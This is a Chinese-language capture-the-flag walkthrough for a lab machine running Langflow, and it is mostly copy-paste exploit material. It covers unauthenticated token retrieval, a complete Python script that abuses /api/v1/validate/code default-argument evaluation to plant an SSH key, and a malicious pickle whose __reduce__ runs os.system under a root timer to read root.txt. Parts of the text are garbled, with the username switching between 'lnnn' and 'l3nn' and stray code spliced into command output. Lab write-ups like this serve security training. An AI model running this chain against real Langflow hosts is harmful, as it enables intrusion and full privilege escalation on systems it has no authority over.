

lnnnPy靶机渗透

World

总结

目标机暴露了 Langflow 服务。通过/api/v1/validate/code的默认参数求值漏洞拿到 Python 代码执行，随后写入lnnn用户的 SSH 公钥建立稳定入口。进一步枚举本机后发现一个以 root身份运行的定时任务会对/home/lnnn/models/*.pkl执行pickle.load()，利用这个不安全反序列化直接提权到 root 并读取root.txt。

下面是可直接复制执行的复现命令。

1. 生成临时 SSH key

```
1 ssh-keygen -t ed25519 -N '' -f /tmp/lnnn_id_ed25519 -C codex-ctf
2 export PUBKEY="$(cat /tmp/lnnn_id_ed25519.pub)"
```

```
(kali@kali)-[~]
$ ssh-keygen -t ed25519 -N '' -f ./lnnn_id_ed25519 -C world
Generating public/private ed25519 key pair.
Your identification has been saved in ./lnnn_id_ed25519.pub
Your public key has been saved in ./lnnn_id_ed25519.pub
The key fingerprint is:
SHA256:jofTG+VelijMyEbmfsUnCzwoTmamq3UNZYopzTMDVEY world
The key's randomart image is:
+--[ED25519 256]--+
|      .oE          |
|      +            |
|      + = .        |
|    o B So..       |
|    o*#.*+ +o.     |
|    .B*.@ =+++..   |
|    ....= +.+..    |
|    .....o..       |
+---[SHA256]-----+
1 from .future import annotations
2
3 import argparse
4
5 from pathlib import Path
6
7 import requests
8
9 from urllib3.util import Retry
10
11 DEFAULT_TARGET = "http://192.168.56.115"
```

2. 获取 Langflow token

这个环境会把 HTTP 流量走本地代理，所以这里显式去掉代理变量。

```
1 TOKEN="$(  
2     env -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY -u NO_PROXY \  
3     curl -sS http://192.168.56.115/api/v1/auto_login \  
4     | python3 -c 'import sys, json; print(json.load(sys.stdin)  
5     ["access_token"])'  
6 )"  
7 echo "$TOKEN"
```

```
(kali@kali)-[~]  
$ TOKEN=$(  
env -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY -u NO_PROXY \  
curl -sS http://192.168.56.115/api/v1/auto_login \  
| python3 -c 'import sys, json; print(json.load(sys.stdin)["access_token"]'  
)  
echo "$TOKEN"  
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0NmU4MDg4OC05M2Q1LTQ0OGYtOGUyYy0xZnZjY2VmNDNlNGMiLCJ0eXB1IjoieVWNjZXNzIiwiaXNjaXoxODEwNTkwfQ.SNpfyqwZD0mgyWCuehj5inonA00hsF8eJWL-PlEiq7g
```

3. 用/api/v1/validate/code写入authorized_keys

validate/code会在验证 Python 函数时执行默认参数表达式，所以把写文件逻辑塞进默认参数里即可。

```
1 #!/usr/bin/env python3  
2 """  
3 Inject an SSH public key into /home/lnnn/.ssh/authorized_keys  
4 via Langflow RCE.  
5  
6 Usage:  
7     python3 inject_ssh_key.py --pubkey ~/lnnn_id_ed25519.pub  
8     python3 inject_ssh_key.py --target http://192.168.56.115 --  
9     pubkey ~/id_ed25519.pub  
10 """  
11  
12 from __future__ import annotations  
13  
14 import argparse  
15 from pathlib import Path  
16  
17 import requests  
18  
19 DEFAULT_TARGET = "http://192.168.56.115"
```

```

20
21 def build_payload(pubkey: str) -> str:
22     return f'''def foo(x=(
23
24         __import__("pathlib").Path("/home/lnnn/.ssh").mkdir(mode=0o700,
25         parents=True, exist_ok=True),
26         open("/home/lnnn/.ssh/authorized_keys",
27         "a").write({pubkey!r}),
28         __import__("os").chmod("/home/lnnn/.ssh/authorized_keys",
29         0o600)
30     )):
31         pass
32     '''
33
34 def get_token(session: requests.Session, target: str) -> str:
35     r = session.get(f"{target}/api/v1/auto_login", timeout=20)
36     r.raise_for_status()
37     return r.json()["access_token"]
38
39 def main() -> None:
40     ap = argparse.ArgumentParser(description="Inject SSH pubkey
41     via Langflow validate/code RCE.")
42     ap.add_argument("--target", default=DEFAULT_TARGET,
43     help=f"Target base URL (default: {DEFAULT_TARGET})")
44     ap.add_argument("--pubkey", required=True, help="Path to an
45     SSH public key file")
46     ap.add_argument("--token", help="Optional pre-fetched
47     Langflow bearer token")
48     args = ap.parse_args()
49
50     pubkey = Path(args.pubkey).read_text(encoding="utf-
51     8").strip() + "\n"
52
53     session = requests.Session()
54     session.trust_env = False # bypass local proxy settings
55     token = args.token or get_token(session, args.target)
56
57     payload = build_payload(pubkey)
58     r = session.post(
59         f"{args.target}/api/v1/validate/code",

```

```

53         headers={"Authorization": f"Bearer {token}"},
54         json={"code": payload},
55         timeout=30,
56     )
57     r.raise_for_status()
58     print(r.text)
59
60
61 if __name__ == "__main__":
62     main()
63

```

成功时会返回类似:

```

1  {"imports":{"errors":[]},"function":{"errors":[]}}

```

```

(kali㉿kali)-[~/Desktop/l3nnpy]
$ python3 inject_ssh_key.py --pubkey ~/l3nn_id_ed25519.pub {"imports":{"errors":[]},"function":{"errors":[]}}

```

4. 用 SSH 登录

```

1  ssh -o StrictHostKeyChecking=no \
2      -o UserKnownHostsFile=/tmp/l3nn_known_hosts \
3      -i ~/l3nn_id_ed25519 \
4      l3nn@192.168.56.115

```

```

(kali㉿kali)-[~/Desktop/l3nnpy]
$ ssh -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/tmp/l3nn_known_hosts \
  -i ~/l3nn_id_ed25519 \
  l3nn@192.168.56.115
Linux l3nn 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 19 11:29:32 2026 from 192.168.56.1
l3nn@l3nn:~$

```

登录后确认环境:

```
lnnn@lnnn:~$ id
uid=1000(lnnn) gid=1000(lnnn) groups=1000(lnnn)
lnnn@lnnn:~$ pwd
/home/lnnn
lnnn@lnnn:~$
```

拿到user.txt

```
lnnn@lnnn:~$ cat user.txt
lnnn{w3lc0me_t0_lnnn_w0rksh0p_y0u_g0t_u53r}
lnnn@lnnn:~$
```

5. 枚举 root 定时任务

提权点在lnnn-eval.timer/lnnn-eval.service:

```
1 systemctl cat lnnn-eval.service lnnn-eval.timer
2 cat /opt/lnnn-eval/eval_daemon.py
3 ls -ld /home/lnnn/models
```

```
lnnn@lnnn:~$ systemctl cat lnnn-eval.service lnnn-eval.timer
# /etc/systemd/system/lnnn-eval.service
[Unit]
Description=lnnn ML Model Evaluation Service
After=network.target
[Service]
Type=oneshot
ExecStart=/usr/bin/python3 /opt/lnnn-eval/eval_daemon.py
User=root
StandardOutput=append:/var/log/lnnn-eval.log
StandardError=append:/var/log/lnnn-eval.log
# /etc/systemd/system/lnnn-eval.timer
[Unit]
Description=Run lnnn model evaluation every 5 minutes
[Timer]
OnBootSec=2min
OnUnitActiveSec=2min
Unit=lnnn-eval.service
[Install]
WantedBy=timers.target
```

```

lnnn@lnnn:~$ cat /opt/lnnn-eval/eval_daemon.py
#!/usr/bin/env python3
"""lnnn Model Evaluation Daemon - runs as root, loads ML models from /home/lnnn/models/"""
import os
import glob
import pickle
import logging
import sys

LOG_FILE = '/var/log/lnnn-eval.log'
MODEL_DIR = '/home/lnnn/models'

logging.basicConfig(
    filename=LOG_FILE,
    level=logging.INFO,
    format='%asctime)s [lnnn-eval] %(levelname)s %(message)s'
)

def load_models():
    pattern = os.path.join(MODEL_DIR, '*.pkl')
    models = glob.glob(pattern)
    if not models:
        logging.info('No models found in %s', MODEL_DIR)
        return
    for path in models:
        try:
            logging.info('Loading model: %s', path)
            with open(path, 'rb') as f:
                model = pickle.load(f)
            logging.info('Model loaded successfully: %s (type=%s)', path, type(model).__name__)
        except Exception as e:
            logging.warning('Failed to load model %s: %s', path, e)

if __name__ == '__main__':
    logging.info("lnnn model eval daemon started (uid=%d)", os.getuid())
    os.chdir("/home/lnnn")
    load_models()
    logging.info('Eval cycle complete')

```

```

lnnn@lnnn:~$ ls -ld /home/lnnn/models
drwxrwxrwx 2 lnnn lnnn 4096 Jun 19 11:43 /home/lnnn/models
lnnn@lnnn:~$

```

6. 投递恶意 pickle

root反序列化时会执行对象的 `__reduce__` 返回的命令。这里直接把root.txt复制到lnnn可读目录。

```

1 cat >./drop_pickle.py <<'PY'
2 import os
3 import pickle
4
5 class P:
6     def __reduce__(self):
7         return (os.system, (
8             "cp /root/root.txt /home/lnnn/root.txt && chmod 644
9             /home/lnnn/root.txt",
10         ))
11 with open("/home/lnnn/models/root.pkl", "wb") as f:
12     pickle.dump(P(), f)
13

```

```
14 print("wrote /home/lnnn/models/root.pkl")
15 PY
16
17 python3 /tmp/drop_pickle.py
```

```
lnnn@lnnn:~$ cat >./drop_pickle.py <<'PY'
import os
import pickle

class P:
    def __reduce__(self):
        return (os.system, (
            "cp /root/root.txt /home/lnnn/root.txt && chmod 644 /home/lnnn/root.txt",
        ))

with open("/home/lnnn/models/root.pkl", "wb") as f:
    pickle.dump(P(), f)

print("wrote /home/lnnn/models/root.pkl")
PY
```

```
lnnn@lnnn:~$ python3 ./drop_pickle.py
wrote /home/lnnn/models/root.pkl
lnnn@lnnn:~$ ls
drop_pickle.py  models  README.txt  root.txt  user.txt
lnnn@lnnn:~$ cat root.txt
lnnn{r00t_of_lnnn_m4ch1ne_p1ckl3_15_d4ng3r0u5}
lnnn@lnnn:~$
```